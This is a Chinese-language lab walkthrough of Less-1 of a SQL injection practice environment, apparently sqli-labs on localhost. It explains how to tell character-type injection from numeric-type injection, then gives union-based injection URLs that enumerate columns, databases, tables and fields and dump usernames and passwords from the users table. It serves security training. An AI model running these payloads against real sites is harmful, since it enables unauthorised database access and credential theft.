第一关
Firefox扩展下载hackbar---->键盘F12
1、首先确定是字符注入还是数值注入
(1)第一步在后边加一个’,如果返回错误并报出错误路径
(2)如果报出错误,那么继续执行第二步,删除’在后边加上and 1=1,返回正常
(3)如果返回正常那么进行第三步,在把and 1=1改为and 1=2,显示网页与原始网页存在差距。 通过这3步可以判断存在注入点。此图and 1=1 与and1=2显示网页样,所以此案例为字符型注入
如果以上3点都满足则为数值型注入,如果and 1=2显示与原网页一样,那么该处可能不是数值注入而是字符注入(窍门,判断是数字型还是字符型可以输入1+2,看输出的是3还是1+2,如果输出3,那么就是数字型,如果输出1+2那么就是字符型)
http://127.0.0.1/sqli/Less-1/?id=1 %23 注释:(%23代表注释)
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' order by 3%23 注释:(order by 用于判断有几列信息(字段))
爆漏洞:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3%23 注释:(union 判断回显位置 select查找 将1改为-1是需要第一条语句出错,才能使第二条语句成功显示第二第三字段有漏洞)
爆库名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),version()%23 注释:(database库 version 版本)
爆表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23 注释:(group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用,分隔。由函数参数(字段名)决定要返回的列)
爆字段名(1):
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'%23 注释:(爆出emails的字段名)
(2):
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23 注释:(爆出users的字段名)
爆字段内容:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from security.users %23 注释: (0x3a就是个:目的是为了看起来方便,(注意:如果报‘Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation ’,这个错误查看了数据库发现是建表时设置表的编码为latin1,而数据库server的连接是gbk_chinese_ci的方式。把表的编码改了就可以了。alter table tablename convert to character set GBK。tablename = 你的表的名称!)
各位友友有缺点欢迎费心指出!!!!!